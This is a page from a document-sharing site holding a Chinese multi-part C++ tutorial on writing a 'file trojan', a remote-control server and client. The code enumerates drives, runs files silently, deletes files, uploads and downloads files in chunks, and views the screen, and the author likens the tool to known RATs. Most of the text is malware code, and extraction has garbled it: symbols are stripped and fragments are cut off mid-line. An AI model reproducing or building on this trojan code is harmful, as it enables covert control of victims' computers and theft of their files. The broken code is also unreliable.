




已阅读5页,还剩23页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
c+实现文件传输之一:框架结构和界面实现在木马中文件管理的重要性,是无需质疑的,对于文件的管理,做到并不难,但做好却也不易在我们编写一个功能完整的“文件木马”其实现效果如图所示。为了文章的完整性,我们将分为数篇来介绍,本文主要介绍程序的整体框架和界面实现,在以后的文章中将以此框架为基础实现详细的功能。实现:枚举磁盘,枚举目录,获取文件信息上传文件,下载文件,执行文件,创建目录,删除目录等传输控制结构要实现客户端与服务端的通信,设计一个合理的传输控制结构,会使后面的工作轻松很多,为了使代码易读首先对要使用的命令进行预定义其各个命令定义如下#define GetDriver 0x01 /磁盘信息#define GetDirInfo 0x02 /目录信息#define ExecFile 0x03 /执行文件#define GetFile 0x04 /下载文件#define PutFile 0x05 /上传文件#define DelFile 0x06 /删除文件#define DelDir 0x07 /删除目录#define CreateDir 0x08 /创建目录#define FileInfo 0x09 /文件信息#define GetScreen 0x10 /查看屏幕在程序的网络通信中主要有 操作命令 ,命令对像,和具体数据三部分,对于命令的传输定义如下结构typedef structint ID; /操作命令BYTE lparamBUF_LEN*2; /命令对像COMMAND;因为在程序中打交道最多的就是文件,对文件的详细属性定义如下结构typedef structchar FileNameMAX_PATH; /文件名称int FileLen; /文件长度char Time50; /时间信息BOOL IsDir; /为目录否BOOL Error; /错误信息HICON hIcon; /图标句柄FILEINFO;服务端结构服务端还是比较简单的其整体思路如下1.服务端循环接受连接,并把连接交给线程处理2.线程接受命令数据,并跟据命令ID将命令对像和SOCKET句柄传给处理函数3.函数执行指定功能,并返回执行结果对整体结构的描述,我们用伪代码表述如下main() /*初示化设置.*/while(true)if(client=accept(server,(sockaddr *)&clientaddr,&len)/循环接受连接CreateThread(NULL,NULL,SLisen,(LPVOID)client,NULL,NULL);/传递线程处理/*清理释放资源.*/WSACleanup();服务端程序运行后循环接受连接,如果有新的连接就传递给新的线程处理,线程代码如下DWORD WINAPI SLisen(LPVOID lparam)SOCKET client=(SOCKET)lparam;COMMAND command;while(1)if(recv(client,(char*)&command,sizeof(command),0)=SOCKET_ERROR)/接受命令数据coutThe Clinet Socket is Closed/n;break;elseswitch(command.ID)/判断命令IDcase GetDriver:/将命令对像和SOCKET句柄传递给处理函数 GetDriverProc (command,client); break;case DelFile: DelFileProc (command,client); break;/*其它命令.*/线程式的功能是接受客户端的命令数据,并跟跟据命令ID 将命令对像传递给处理函数,由函数完成指定的功能以删除文件命令为例其函数格式如下DWORD DelFileProc (COMMAND command,SOCKET client)if(DeleteFile(char*)command.lparam)=0)/command.lparam为命令对像,这里为要删除的文件路径send(client,删除失败.);elsesend(client,删除成功.);很容易看出,处理函数接受命令对像和客户端SOCKET句柄,执行后会把结果传递回去.客户端结构客户端结构的实现思路如下1.跟服务端建立连接2.发送用户命令3.启动一个线程,用于接受服务端的返回信息对整体结构的描述,我们用伪代码表述如下void CMyDlg:OnConnect()if(connect(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr)0)/连接.return ;CreateThread(NULL,NULL,CLisen,this,NULL,NULL);/创建线程用于接受SERVER返回信息对于用户发送的命令我们仍以删除文件为例说明其代码如下void CMyDlg:OnMenuDelFile()HTREEITEM CurrentNode = m_tree.GetSelectedItem(); /取得选择的节点CString FullPath =GetFullPath(CurrentNode); /取得节点全目录COMMAND command;command.ID=DelFile; /设置命令为删除文件 /删除文件command.lparam=FullPath.LockBuffer(); /将路径加入命令对像send(server,command);用于接受SERVER返回信息的线程,和服务端接受命令线程相似,这里就不再说明了,有兴趣可以看下源代码到这里程序的流程框架就介绍完了,下面我们再看一下程序的界面设置.界面实现程序的主界面如上图所示,主程序是一个对话框,主要包括一个树控件m_tree和列表控件m_list分别用于显示磁盘目录和文件,在对话框初示化时用以下代码设置树控件的属性DWORD dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE);dwStyle |=TVS_HASBUTTONS | TVS_HASLINES | TVS_LINESATROOT;SetWindowLong(m_tree.m_hWnd,GWL_STYLE,dwStyle);对于列表框控件则没有太多要求,要留意的是,如果显示图标应该把Styles显示属性设置为ICONVC的做出的界面,常常让人有种摔键盘的冲动。其实稍微留意一下其设置,也可以让它漂亮一些比如上图所示的界面就是经过简单设置得到的,而没有用其它类库,有点兴趣?其设置方法为:1.在对话框属性中设置Styles 的Border属性为Thin2.选重More Styles 可见 属性3.选重Extended Styles的静态边属性这样再运行一下程序是不是感觉清新不少?到这里程序的主要结构框架和界面实现就介绍完了,下一篇将详细介绍其各种功能的实现c+实现文件传输之二在上一篇中,我们以经介绍了程序的流程和框架,在本篇将详细讨论各个功能的实现主要包括1.获取磁盘信息2.获取目录信息3.获取文件信息4.运行指定文件5.删除指定文件6.删除指定目录7.创建指定目录8.上传下载文件9.获取远程文件图标获取磁盘信息磁盘信息可以用API GetDriveType来实现,它以路径名作为参数(如C:/)返回磁盘类型,其实例代码如下DWORD GetDriverProc(COMMAND command,SOCKET client)for(char i=A;i=Z;i+)char x20=i,:;UINT Type=GetDriveType(x);if(Type=DRIVE_FIXED|Type=DRIVE_REMOVABLE|Type=DRIVE_CDROM)/*返回处理结果.*/return 0;GetDriveType可能返回的结果如下#define DRIVE_UNKNOWN 0 / 无效路径名#define DRIVE_NO_ROOT_DIR 1 / 无效路经,如无法找到的卷标#define DRIVE_REMOVABLE 2 / 可移动驱动器#define DRIVE_FIXED 3 / 固定的驱动器#define DRIVE_REMOTE 4 / 网络驱动器#define DRIVE_CDROM 5 / CD-ROM#define DRIVE_RAMDISK 6 / 随机存取(RAM)磁盘在上面的实例代码中我们只取,硬盘,光驱和移动磁盘获取目录信息这里只要枚举用户指定的目录就可以了,其实例代码如下:DWORD GetDirInfoProc(COMMAND command,SOCKET client)/*command为要枚举的路径如(C:/)client为返回结果的SOCKET句柄*/FILEINFO fi;memset(char*)&fi,0,sizeof(fi);strcat(char*)command.lparam,*.*);/枚举所有文件CFileFind file;BOOL bContinue = file.FindFile(char*)command.lparam);while(bContinue)memset(char*)&fi,0,sizeof(fi);bContinue = file.FindNextFile();if(file.IsDirectory() /为目录fi.IsDir=true;strcpy(fi.FileName,file.GetFileName().LockBuffer(); /保存文件名称if(send(client,(char*)&fi,sizeof(cmd),0)=SOCKET_ERROR)cout Send Dir is Error/n;return 0;获取文件信息以下实例代码用来获取 文件的名称,路径,时间,属性等信息DWORD FileInfoProc (COMMAND command,SOCKET client)/*command为要查看的文件如(C:/TEST.EXE)client为返回结果的SOCKET句柄*/FILEINFO fi;HANDLE hFile;WIN32_FIND_DATA WFD;memset(char*)&WFD,0,sizeof(WFD);if(hFile=FindFirstFile(char*)command.lparam,&WFD)=INVALID_HANDLE_VALUE) /查看文件属性fi.Error=true;return 0;/得到文件的相关信息SHGetFileInfo(WFD.cFileName,FILE_ATTRIBUTE_NORMAL,&shfi, sizeof(shfi),SHGFI_ICON|SHGFI_USEFILEATTRIBUTES|SHGFI_TYPENAME );strcpy(fi.FileName,(char*)command.lparam); /文件路径FileLen=(WFD.nFileSizeHigh*MAXDWORD+WFD.nFileSizeLow)/1024; /文件长度fi.FileLen=FileLen;/转化格林时间到本地时间FileTimeToLocalFileTime(&WFD.ftLastWriteTime,&localtime);FileTimeToSystemTime(&localtime,&systime);/文件修改时间sprintf(stime,%4d-%02d-%02d %02d:%02d:%02d,systime.wYear,systime.wMonth,systime.wDay,systime.wHour,systime.wMinute,systime.wSecond);if(GetFileAttributes(char*)command.lparam)&FILE_ATTRIBUTE_HIDDEN)/*隐藏文件.*/elseif(GetFileAttributes(char*)command.lparam)&FILE_ATTRIBUTE_READONLY)/*只读文件.*/send(client,(char*)&fi,sizeof(fi),0);FindClose(hFile);return 0;运行指定文件运行文件 有以下几种方法 1.WinExec 2.ShellExecute 3.CreateProcess这里使用的是ShellExecute其实例代码如下DWORD ExecFileProc (COMMAND command,SOCKET client)/*command为要运行的文件路径如(C:/TEST.EXE)client为返回结果的SOCKET句柄*/COMMAND cmd;memset(char*)&cmd,0,sizeof(cmd);cmd.ID=ExecFile;if(ShellExecute(NULL,open,(char*)command.lparam,NULL,NULL,SW_HIDE)(HINSTANCE)32)strcpy(char*)cmd.lparam,文件执行失败!);send(client,(char*)&cmd,sizeof(cmd),0);elsestrcpy(char*)cmd.lparam,文件执行成功!);send(client,(char*)&cmd,sizeof(cmd),0);return 0;API函数ShellExecute原形为:HINSTANCE ShellExecute( HWND hwnd, /窗口句柄LPCTSTR lpOperation, /操作类型LPCTSTR lpFile, /文件指针LPCTSTR lpParameters, /文件参数LPCTSTR lpDirectory, /缺省目录INT nShowCmd /显示方式); 这是一个相当有意思的函数,在调用此函数时只须指定要执行的文件名,而不必管用什么程序去打开或执行文件,WINDOWS会自动根据要打开或执行的文件去判断该如何执行文件或用什么程序去打开文件,如果要求不高的话比CreateProcess要好用的多,如果想做出像NCPH和灰鸽子那样带参数执行的话,其实也不难只要指定lpParameters为执行参数就可了删除指定文件DWORD DelFileProc (COMMAND command,SOCKET client)/*command为要删除的文件路径如(C:/TEST.EXE)client为返回结果的SOCKET句柄*/COMMAND cmd;memset(char*)&cmd,0,sizeof(cmd);cmd.ID=DelFile;SetFileAttributes(char*)command.lparam,FILE_ATTRIBUTE_NORMAL); /去掉文件的系统和隐藏属性if(DeleteFile(char*)command.lparam)=0)strcpy(char*)cmd.lparam,文件删除失败!);send(client,(char*)&cmd,sizeof(cmd),0);elsestrcpy(char*)cmd.lparam,文件删除成功!);send(client,(char*)&cmd,sizeof(cmd),0);return 0;需要注意的是在 DeleteFile前应该去文件的系统和隐藏属性,否则会删除失败删除目录可以用RemoveDirectory函数删除目录,但是RemoveDirectory有个缺点就是只能删除为空的的目录,对于不为空的目录就无能为力了,想要删除不无空的目录可以使用下面的实例代码BOOL DeleteDirectory(char *DirName)CFileFind tempFind;char tempFileFind200;sprintf(tempFileFind,%s*.*,DirName);BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);while(IsFinded) IsFinded=(BOOL)tempFind.FindNextFile(); if(!tempFind.IsDots() char foundFileName200; strcpy(foundFileName,tempFind.GetFileName().GetBuffer(200); if(tempFind.IsDirectory() char tempDir200; sprintf(tempDir,%s/%s,DirName,foundFileName); DeleteDirectory(tempDir); else char tempFileName200; sprintf(tempFileName,%s/%s,DirName,foundFileName);SetFileAttributes(tempFileName,FILE_ATTRIBUTE_NORMAL); /去掉文件的系统和隐藏属性 DeleteFile(tempFileName);cout now delete tempFileName0)int ret=send(client,&dateidx,nLeft,0); /发送文件if(ret=SOCKET_ERROR)break;nLeft-=ret;idx+=ret;file.Close();delete date;跟据上面的实例相信大家可以领悟到文件传输的基本原理和方法,虽然很简单但用它传输小文件还是非常实用的大文件传输方法用上面的方法传输小文件还可以,但是大文件呢?比如一个500M的电影.上面的方法就会力不从心了因为按思路要创建一个跟文件大小相同的缓冲区,显然这是不太现实的,我们就得采用另种方法了,在这里我们使用分块文件传输,所谓分块是指把大文件分成若干小文件,然后传输,比如设定每块大小为64KB其思路如下1.取得文件长度和名称2.跟据长度/64KB计算文件块数3.分配64KB缓冲区4.读文件到缓冲区5.发送缓冲的数据6.重复4,5两步直到发完所有数据其实现代码如下:#define CHUNK_SIZE (64*1024) /分为64K块传输DWORD GetFileProc (COMMAND command,SOCKET client)/*command为要下载文件的路径如(C:/TEST.EXE)client为发送文件的SOCKET句柄*/COMMAND cmd;FILEINFO fi;memset(char*)&fi,0,sizeof(fi);memset(char*)&cmd,0,sizeof(cmd);cmd.ID=GetFile;CFile file;int nChunkCount=0; /文件块数if(file.Open(char*)command.lparam,CFile:modeRead|CFile:typeBinary)/打开文件int FileLen=file.GetLength(); /取文件长度fi.FileLen=file.GetLength();strcpy(char*)fi.FileName,file.GetFileName(); /取文件名称memcpy(char*)&cmd.lparam,(char*)&fi,sizeof(fi);send(client,(char*)&cmd,sizeof(cmd),0); /发送文件名称和长度nChunkCount=FileLen/CHUNK_SIZE; /文件块数if(FileLen%nChunkCount!=0)nChunkCount+;char *date=new charCHUNK_SIZE; /创建数据缓冲区for(int i=0;i0)int ret=send(client,&dateidx,nLeft,0);/发送文件if(ret=SOCKET_ERROR)break;nLeft-=ret;idx+=ret;file.Close();delete date;return 0;这样文件传输部分就完成了,止于客户端的实现于上面代码其本相同,只是由读文件变为写文件,详细请参考源代码获取远程ICO文件图标我们在文件列表框中需要显示文件的图标,但远程文件的ICO图标是无法直接得到的猛若RADMIN 黑洞者也没有到(对于EXE文件只显示可执行程序图示),当然了也不见的决对没有.我们可以通过如下变通方法得到:就是跟据文件的扩展名,从本地注册表中查找对应的程序图标不过这也有它的缺点对于EXE文件它只能显示一个可执行文件的图示,而且只能显示注册过的图示比如,如果本机装有WINRAR那么就可以识别.RAR的文件图示,否则就无法识别.实现方法CImageList m_ImageList;m_ImageList.Create(32,32,ILC_COLOR32,10,30); /创建图示m_list.SetImageList(&m_ImageList,LVSIL_NORMAL); /与列表控件相关连SHFILEINFO info;memset(char*)&info,0,sizeof(info);SHGetFileInfo(fi-FileName,0,&info,sizeof(&info), SHGFI_ICON|SHGFI_USEFILEATTRIBUTES);/关键所在int i = m_ImageList.Add(info.hIcon);m_list.InsertItem(i,fi-FileName,i);原来我试图在Server端通过上面的代码把info.hIcon句柄保存下来,然后放到Client,在单台电脑上很好使,但Server在另一台电脑上时就玩完了,因为info.hIcon里保存的句柄是个索引而每台机器上的索引是不相同的所以直接导致的结果就是:什么也显示不出来.c+实现文件传输之三:断点续传与多线程传输转继木马编程DIY的上两篇,现在我们开始讨论断点续传与多线程文件传输的实现.其实这两项功能是下载软件所必不可少的功能了,现在我们把它加到自己的木马中来感受感受.提到多线程下载,首先向网络蚂蚁的作者洪以容前辈致敬,正是由于网络蚂蚁而使得多线程下载被关注并流行起来.在这本篇文章中我们将简单的实现支持断点续传和多线程传输的程序.为了更清晰的说明问题,我们将断点续传与多线程传输分别用两个程序来实现多线程传输实现实现原理将源文件按长度为分为N块文件,然后开辟N个线程,每个线程传输一块,最后合并所有线线程文件.比如一个文件500M我们按长度可以分5个线程传输.第一线程从0-100M,第二线程从100M-200M.最后合并5个线程文件.实现流程1.客户端向服务端请求文件信息(名称,长度)2.客户端跟据文件长度开辟N个线程连接服务端3.服务端开辟新的线程与客户端通信并传输文件4.客户端将每线程数据保存到一个文件5.合并所有线程文件编码实现大体说来就是按以上步骤进行,详细的实现和一些要点,我们跟据以上流程在编码中实现结构定义在通信过程中需要传递的信息包括文件名称,文件长度,文件偏移,操作指令等信息,为了方便操作我们定义如下结构代码:typedef struct char Name100; /文件名称 int FileLen; /文件长度 int CMD; /操作指令 int seek; /线程开始位置 SOCKET sockid;FILEINFO;1.请求文件信息客户端代码如下代码: FILEINFO fi; memset(char*)&fi,0,sizeof(fi); fi.CMD=1; /得到文件信息 if(send(client,(char*)&fi,sizeof(fi),0)=SOCKET_ERROR) coutSend Get FileInfo Error/n; 服务端代码如下 while(true) SOCKET client; if(client=accept(server,(sockaddr *)&clientaddr,&len) FILEINFO RecvFileInfo; memset(char*)&RecvFileInfo,0,sizeof(RecvFileInfo); if(recv(client,(char*)&RecvFileInfo,sizeof(RecvFileInfo),0)=SOCKET_ERROR) coutThe Clinet Socket is Closed/n; break; else EnterCriticalSection(&CS); /进入临界区 memcpy(char*)&TempFileInfo,(char*)&RecvFileInfo,sizeof(RecvFileInfo); switch(TempFileInfo.CMD) case 1: GetInfoProc (client); break; case 2: TempFileInfo.sockid=client; CreateThread(NULL,NULL,GetFileProc,NULL,NULL,NULL); break; LeaveCriticalSection(&CS); /离开临界区 在这里服务端循环接受连接,并跟据TempFileInfo.CMD来判断客户端的请求类型,1为请求文件信息,2为下载文件因为在下载文件的请求中,需要开辟新的线程,并传递文件偏移和文件大小等信息,所以需要对线程同步.这里使用临界区其文件信息函数GetInfoProc代码如下代码:DWORD GetInfoProc(SOCKET client) CFile file; if(file.Open(FileName,CFile:modeRead|CFile:typeBinary) int FileLen=file.GetLength(); if(send(client,(char*)&FileLen,sizeof(FileLen),0)=SOCKET_ERROR) cout Se
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 公司月末会活动策划方案
- 公司茶会活动方案
- 公司春游游戏活动方案
- 公司播放电影策划方案
- 公司组织境外团建活动方案
- 公司组织午间运动活动方案
- 公司竞走活动方案
- 公司联欢晚会策划方案
- 2025年游戏设计师职业资格考试试卷及答案
- 2025年智能制造工程师考试试卷及答案
- 2025年陕西省中考数学真题含答案
- 能源站运营管理制度
- 2025年高考真题-化学(广东卷) 含答案
- 2025至2030中国成人用品行业产业运行态势及投资规划深度研究报告
- 竹制品企业可行性报告
- 公安院校公安学科专业招生政治考察表
- 广东省深圳市光明区2023-2024学年三年级下册期末考试数学试卷(含答案)
- 交通设计(Traffic Design)知到智慧树章节测试课后答案2024年秋同济大学
- 2025年日历表(A4版含农历可编辑)
- 2024年陕西省西安市中考地理试题卷(含答案逐题解析)
- 自动控制原理课程设计三阶系统分析与校正
评论
0/150
提交评论